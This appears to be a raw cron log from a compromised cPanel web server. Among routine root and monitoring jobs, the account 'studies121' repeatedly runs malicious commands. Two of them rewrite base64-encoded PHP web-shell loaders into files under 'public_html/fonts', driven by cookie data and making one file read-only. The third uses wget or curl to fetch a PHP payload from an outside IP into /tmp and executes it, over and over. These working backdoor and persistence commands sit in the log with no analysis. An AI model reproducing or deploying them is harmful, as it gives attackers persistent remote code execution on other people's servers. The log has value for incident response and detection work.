Sep 12 13:46:02 ip-184-168-122-23 CROND[3637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:46:02 ip-184-168-122-23 CROND[3638]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 13:47:01 ip-184-168-122-23 CROND[3790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:47:01 ip-184-168-122-23 CROND[3794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:47:01 ip-184-168-122-23 CROND[3792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:47:01 ip-184-168-122-23 CROND[3793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:48:01 ip-184-168-122-23 CROND[3872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:48:01 ip-184-168-122-23 CROND[3873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:48:01 ip-184-168-122-23 CROND[3874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:48:01 ip-184-168-122-23 CROND[3876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:48:01 ip-184-168-122-23 CROND[3879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:49:01 ip-184-168-122-23 CROND[3969]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 12 13:49:01 ip-184-168-122-23 CROND[3970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:49:01 ip-184-168-122-23 CROND[3971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:49:01 ip-184-168-122-23 CROND[3972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:49:01 ip-184-168-122-23 CROND[3974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:50:01 ip-184-168-122-23 CROND[4090]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:50:01 ip-184-168-122-23 CROND[4087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:50:01 ip-184-168-122-23 CROND[4089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:50:01 ip-184-168-122-23 CROND[4091]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 13:50:01 ip-184-168-122-23 CROND[4088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:50:01 ip-184-168-122-23 CROND[4096]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:50:01 ip-184-168-122-23 CROND[4098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:50:01 ip-184-168-122-23 CROND[4100]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 13:50:01 ip-184-168-122-23 CROND[4101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:51:01 ip-184-168-122-23 CROND[4299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:51:01 ip-184-168-122-23 CROND[4300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:51:01 ip-184-168-122-23 CROND[4301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:51:01 ip-184-168-122-23 CROND[4303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:52:02 ip-184-168-122-23 CROND[4386]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:52:02 ip-184-168-122-23 CROND[4388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:52:02 ip-184-168-122-23 CROND[4391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:52:02 ip-184-168-122-23 CROND[4392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:52:02 ip-184-168-122-23 CROND[4390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:53:01 ip-184-168-122-23 CROND[4485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:53:01 ip-184-168-122-23 CROND[4488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:53:01 ip-184-168-122-23 CROND[4489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:53:01 ip-184-168-122-23 CROND[4487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:54:01 ip-184-168-122-23 CROND[4606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:54:01 ip-184-168-122-23 CROND[4608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:54:01 ip-184-168-122-23 CROND[4609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:54:01 ip-184-168-122-23 CROND[4610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:54:01 ip-184-168-122-23 CROND[4612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:55:01 ip-184-168-122-23 CROND[4721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:55:01 ip-184-168-122-23 CROND[4724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:55:01 ip-184-168-122-23 CROND[4723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:55:01 ip-184-168-122-23 CROND[4725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:55:01 ip-184-168-122-23 CROND[4730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:55:01 ip-184-168-122-23 CROND[4729]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:56:01 ip-184-168-122-23 CROND[4909]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:56:01 ip-184-168-122-23 CROND[4908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:56:01 ip-184-168-122-23 CROND[4910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:56:01 ip-184-168-122-23 CROND[4912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:56:01 ip-184-168-122-23 CROND[4911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:57:01 ip-184-168-122-23 CROND[5006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:57:01 ip-184-168-122-23 CROND[5007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:57:01 ip-184-168-122-23 CROND[5009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:57:01 ip-184-168-122-23 CROND[5011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:58:01 ip-184-168-122-23 CROND[5094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:58:01 ip-184-168-122-23 CROND[5096]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:58:01 ip-184-168-122-23 CROND[5099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:58:01 ip-184-168-122-23 CROND[5097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
